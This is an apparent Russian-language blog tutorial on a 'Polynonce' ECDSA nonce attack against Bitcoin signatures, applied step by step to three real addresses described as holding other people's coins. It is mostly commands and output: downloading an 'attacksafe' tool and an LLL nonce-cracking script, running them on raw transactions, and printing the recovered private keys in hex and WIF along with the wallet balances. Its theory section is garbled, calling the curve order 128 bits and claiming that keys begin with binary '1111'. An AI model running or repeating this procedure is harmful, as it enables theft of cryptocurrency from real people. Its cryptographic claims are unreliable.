![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/6f9/b32/352/6f9b323521d8a59b1e6eae31b3a5e969.png)
В этой статье мы затронем тему: “Критической уязвимости Биткоина” и на всех трех примерах применим совершенно новую атаку 2023 года “POLYNONCE ATTACK”. Самые первые упоминание об этой атаке описано в статье от “Kudelski Security”.
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/ca3/e56/f9a/ca3e56f9a6eb7d44d0216d0d27335a2e.png)
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/ea9/e4d/13d/ea9e4d13d00ee6bfb51ff935e382aabe.png)
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/d7c/ef8/f06/d7cef8f0646274c8d76c0d2d3f1b4111.png)
![https://research.kudelskisecurity.com/2023/03/06/polynonce-a-tale-of-a-novel-ecdsa-attack-and-bitcoin-tears/ Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/80b/069/006/80b069006048027d92d5dbf844e38fde.png)
https://research.kudelskisecurity.com/2023/03/06/polynonce-a-tale-of-a-novel-ecdsa-attack-and-bitcoin-tears/
Благодаря статье портала “CRYPTO DEEP TECH” мы создали репозитория в GITHUB
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/2d3/7de/831/2d37de8318769605f5801b603f271b58.png)
Видео инструкция об утечке приватного ключа Биткоин Кошелька:
Пример №1 как на сумму $ 3699.40 получили приватный ключ к чужим монетам Bitcoin Wallet
Пример №2 как на сумму $ 1133.73 получили приватный ключ к чужим монетам Bitcoin Wallet
Пример №3 как на сумму $ 459.24 получили приватный ключ к чужим монетам Bitcoin Wallet
Видео инструкция из портала "CRYPTO DEEP TECH":
За практическую основу мы будем брать материалы из ранней статьи портала “CRYPTO DEEP TECH” “Speed up secp256k1 with endomorphism” где значения на кривой secp256k1 от Hal Finney LAMBDA и BETA скрываю всю глубину неизвестности эллиптических кривых Биткоина.
Нам многое может открыть
Binary number (4 digits): "1111" // Hex number: "F" //
![https://www.rapidtables.com/convert/number/hex-to-binary.html Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/7c9/081/d9d/7c9081d9dbc84d335ccb404d23be3c4c.png)
https://www.rapidtables.com/convert/number/hex-to-binary.html
Также нам прекрасно известно, порядок кривой secp256k1 который состоит из 128 bits Binary number (4 digits): “1111” // Hex number: “F” //
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111010111010101011101101110011100110101011110100100010100000001110111011111111010010010111101000110011010000001101100100000101000001
Мы видим что полинома как единица в бинарном коде произвольно высокой степени 128 bits по модулю
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/527/3c7/c7b/5273c7c7bfad2b6ad7cd5bb79e5ae88f.png)
Speed up secp256k1 with endomorphism
Учитывая этот факт первоначальный бит приватного ключа Биткоина будет Binary number (4 digits): “1111” // Hex number: “F” //
За теоретическую основу мы будем брать материалы:
“Polynonce Attack on Bitcoin”
![https://attacksafe.ru/polynonce-attack-on-bitcoin Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/1f6/05c/594/1f605c594419db933ed1c38717983ef1.png)
https://attacksafe.ru/polynonce-attack-on-bitcoin
Рассмотрим пример с Биткоин Адресом:
1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/317/2d6/a4a/3172d6a4ac165178e7271c1e30c4d0b9.png)
929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/546/ea7/0bc/546ea70bc113655e4636233250569c41.png)
RawTX
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/667/2a4/e58/6672a4e58fc9ad15da6bf078b2dee5b9.png)
02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000
Перейдем на официальный сайт: https://colab.research.google.comВыберем опцию “Upload notebook”Загрузим файл: POLYNONCE_ATTACK.ipynbЗагрузим
HEX
-данные через утилитуecho
и сохраним в файл: RawTX.txt
!echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/629/82b/89f/62982b89fab6346b76100796b3c5bd04.png)
Чтобы реализовать атаку мы воспользуемся программным обеспечение
![www.attacksafe.ru/software Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)](https://habrastorage.org/getpro/habr/upload_files/d1a/929/be1/d1a929be1d0a62e6af0699d46438e960.png)
www.attacksafe.ru/software
Права доступа:
!chmod +x attacksafe
ls
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/64b/192/9c3/64b1929c3875c7705da91116036c8d44.png)
Применение:
!./attacksafe -help
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/b80/07f/d4d/b8007fd4defa13c980eca690d1d34b96.png)
-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode
!./attacksafe -version
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/9d9/4c2/2be/9d94c22be8806dd5340af4bc3ee21011.png)
Version 5.3.3. [ATTACKSAFE SOFTWARE, © 2023]
"ATTACKSAFE SOFTWARE"
включает в себя все популярные атаки на Биткоин.
Запустим список всех атак:
!./attacksafe -list
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/dd0/307/56c/dd030756c78ed8dd81de61dfdceb91de.png)
Выберем -tool: polynonce_attack
Чтобы получить определенные
HEX
значениеR,S,Z
к подписиECDSA
, мы ранее добавили данныеRawTX
через утилитуecho
в текстовый документ и сохранили как файлRawTX.txt
02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000
Запустим -tool
polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/314/c49/178/314c49178048cf3539ba35fc24eddd93.png)
Мы запустили данную атаку из -tool polynonce_attack
и результат сохранился в файл SignatureRSZ.csv
Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/13c/e11/c92/13ce11c920af428880e4f69f93e7db64.png)
Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv
мы установим SageMath
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/11b/047/4a7/11b0474a7bd30b1ca9c2e2389b8381f7.png)
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/65f/5da/dc7/65f5dadc71b569e99a35b901dfd66e70.png)
Ранее мы опубликовали статью, скачаем
tar-file
: sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/512/c60/1a3/512c601a38a409d7d04332c298a48541.png)
Перейдем по каталогу:
cd SageMath/
ls
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/778/639/089/7786390894f510701b554753fb181900.png)
Запустим
Python-script:
relocate-once.py по команде:
!python3 relocate-once.py
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/d59/f09/4bd/d59f094bd0b2994db080ac9319093cfb.png)
Переместим
"AttackSafe"
и"SignatureRSZ.csv"
в папку"SageMath"
!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/65e/99e/6f6/65e99e6f6b7e36b0c666a65157d53f13.png)
ls
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/4fa/1f8/c81/4fa1f8c81923cd5de2bb1b63fee28e3e.png)
Скачаем скрипт crack_weak_ECDSA_nonces_with_LLL.py от Dario Clavijo через утилиту
wget
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/b1d/47e/2e2/b1d47e2e29f81ac445b53d161fd8d5be.png)
Теперь запустим
SageMath
по команде:
!./sage -sh
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/013/412/802/013412802f473e74680365807209220d.png)
Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры
128 bits 4 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt
cat PrivateKey.txt
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/862/f84/c22/862f84c225d3cf189a7b96c00c3696d6.png)
Откроем файл:
PrivateKey.txt
Мы получили приватный ключ к Биткоин Кошельку в HEX
формате
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/240/2fe/cb5/2402fecb538b8debf24d8b8a839ac901.png)
PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d
Проверим POLYNONCE для каждой подписи ECDSA
Для этого воспользуемся кодом из GITHUB
![https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example1/POLYNONCE.py Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/266/1a7/083/2661a7083deac654e1f8600012f69637.png)
https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example1/POLYNONCE.py
Результат:
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/1b9/ed1/808/1b9ed180866884721c22bd455d65696b.png)
Мы получили четыре одинаковых первоначальных
128 bits
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe
Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits
так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" //
Проверим HEX приватного ключа:
Установим модуль
bitcoin
!pip3 install bitcoin
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/313/959/f47/313959f47346fcffbc8d455463a38a30.png)
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/f3b/645/832/f3b6458327b14c1d22c24ab72ca420d6.png)
Откроем файл:
PrivateKeyAddr.txt
![f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/3bc/661/a5d/3bc661a5dc703be5d85584fd968ecca7.png)
f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
Откроем bitaddress и проверим:
ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
WIF: L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX
HEX: f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/c0f/1e4/bc5/c0f1e4bc52500484e04414effaee3eb6.png)
https://www.blockchain.com/en/explorer/addresses/btc/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/61c/1cf/7e0/61c1cf7e0926f54ec81889b89dc0f90f.png)
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/966/cea/473/966cea473fbdf94aff57852464868430.png)
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/aae/9ca/ed0/aae9caed0e61fb635e60c98122ea5b72.png)
BALANCE: $ 3699.40
Рассмотрим остальные примеры:
№2
Рассмотрим пример №2 с Биткоин Адресом:
137a6fqt13bhtAkGZWrgcGM98NLCotszR2
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/b15/792/747/b15792747538fd0944f58d67fec232a6.png)
c1da9d117e15883ba41539f558ac870f53865ea00f68a8ff8bc7e8a9ee67099b
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/bc1/675/ba0/bc1675ba0900918a5d084005d664cec2.png)
RawTX
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/c2d/b18/37b/c2db1837bb3a03709b645675d2b3868a.png)
010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000
Удалим файлы с первого примера:
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/d9d/47f/4de/d9d47f4de30407a8e520faee753ca9f1.png)
Загрузим
HEX
-данные через утилитуecho
и сохраним в файл: RawTX.txt
!echo '010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000' > RawTX.txt
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/309/9d0/597/3099d059724e6a73c71caae5018c0d9c.png)
Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/31d/847/f09/31d847f09a809ba5fa049b657e76e7bd.png)
Мы запустили данную атаку из -tool polynonce_attack
и результат сохранился в файл SignatureRSZ.csv
Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/0e3/c58/4b0/0e3c584b02d7c8277a658c7449f023cd.png)
Запустим
SageMath
по команде:
!./sage -sh
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/a7e/c52/21a/a7ec5221ace3014f37d9b20428a35595.png)
Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры
128 bits 4 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt
cat PrivateKey.txt
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/cba/787/811/cba787811d07bb917b2774f411657f1f.png)
Откроем файл:
PrivateKey.txt
Мы получили приватный ключ к Биткоин Кошельку в HEX
формате
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/74c/8c4/e24/74c8c4e245a945b014579268126f061b.png)
PrivKey = 0xff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c
Проверим POLYNONCE для каждой подписи ECDSA
Для этого воспользуемся кодом из GITHUB
![https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example2/POLYNONCE.py Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/8da/14d/462/8da14d462e2b6df373ce50bd52b2602c.png)
https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example2/POLYNONCE.py
Результат:
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/6eb/18a/b0f/6eb18ab0f101f692e3678729308fef3c.png)
Мы получили четыре одинаковых первоначальных
128 bits
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 c5f6da6334586ed2bdc88a05f37bcf95
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 6f82fbd847c138ab48e778135e908149
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 5541022f8aeac81e5ce62e018d1cd722
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 80e88efaff419ecd84d7ded17dc548a7
Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits
так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" //
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/66e/630/9a5/66e6309a5391cd2a340624c16dc06e10.png)
Откроем файл:
PrivateKeyAddr.txt
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/dfa/b4a/35f/dfab4a35fc73a781a8f8a5efe9f5b39f.png)
Откроем bitaddress и проверим:
ADDR: 137a6fqt13bhtAkGZWrgcGM98NLCotszR2
WIF: L5mQfFuzR3rzLtneJ7Tcv64JrHjCpK64UN4JRdGDxCUTbQ8NfHxo
HEX: ff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/0df/6cd/143/0df6cd143e3bd7221b79522b17eacd4e.png)
https://www.blockchain.com/en/explorer/addresses/btc/137a6fqt13bhtAkGZWrgcGM98NLCotszR2
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/a04/418/335/a04418335bc575c9a4d539a523d6a333.png)
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/1f8/896/d76/1f8896d76ed47d139a3592da3649f64e.png)
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/0f3/334/f87/0f3334f878f0eaafe24fdd028f961f28.png)
BALANCE: $ 1133.73
Рассмотрим остальные примеры:
№3
Рассмотрим пример №3 с Биткоин Адресом:
1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/97c/dae/c70/97cdaec70b8b719966065c2bdbbf4cc3.png)
fa80af660fc444d87853137506df02e5c75e8c2bf75dc44589b60356867a6d98
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/e41/c86/2fc/e41c862fc12057abf1e2bdb4cedde114.png)
RawTX
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/6f5/d32/76b/6f5d3276b76d947a947d4c8fb0da49af.png)
01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000
Удалим файлы со второго примера:
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/7a8/854/e25/7a8854e25d48de165bb31e9892836964.png)
Загрузим
HEX
-данные через утилитуecho
и сохраним в файл: RawTX.txt
!echo '01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000' > RawTX.txt
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/24a/648/045/24a648045fad5115e93065448ef88379.png)
Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/430/97b/dc1/43097bdc152ef79cf54979c6b2abd41a.png)
Мы запустили данную атаку из -tool polynonce_attack
и результат сохранился в файл SignatureRSZ.csv
Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/c48/271/15f/c4827115f901e2ab3c1e8505c83a6fe1.png)
Запустим
SageMath
по команде:
!./sage -sh
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/fac/550/ae7/fac550ae7f55ead34d3c3cc43ddb6ad4.png)
Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры
128 bits 4 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt
cat PrivateKey.txt
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/ac5/5a7/cba/ac55a7cba6d0fc2c79849fdad6004bfc.png)
Откроем файл:
PrivateKey.txt
Мы получили приватный ключ к Биткоин Кошельку в HEX
формате
![Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/9b1/cd1/a2c/9b1cd1a2cfe08fe0318d68291eb7a910.png)
PrivKey = 0xfbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf
Проверим POLYNONCE для каждой подписи ECDSA
Для этого воспользуемся кодом из GITHUB
![https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example3/POLYNONCE.py Как вытянуть приватный ключ Биткоин Кошелька с помощью новой атаки: «POLYNONCE ATTACK»](https://habrastorage.org/getpro/habr/upload_files/1b5/f1e/0d5/1b5f1e0d5dab2f37c853501c8bcb88c7.png)
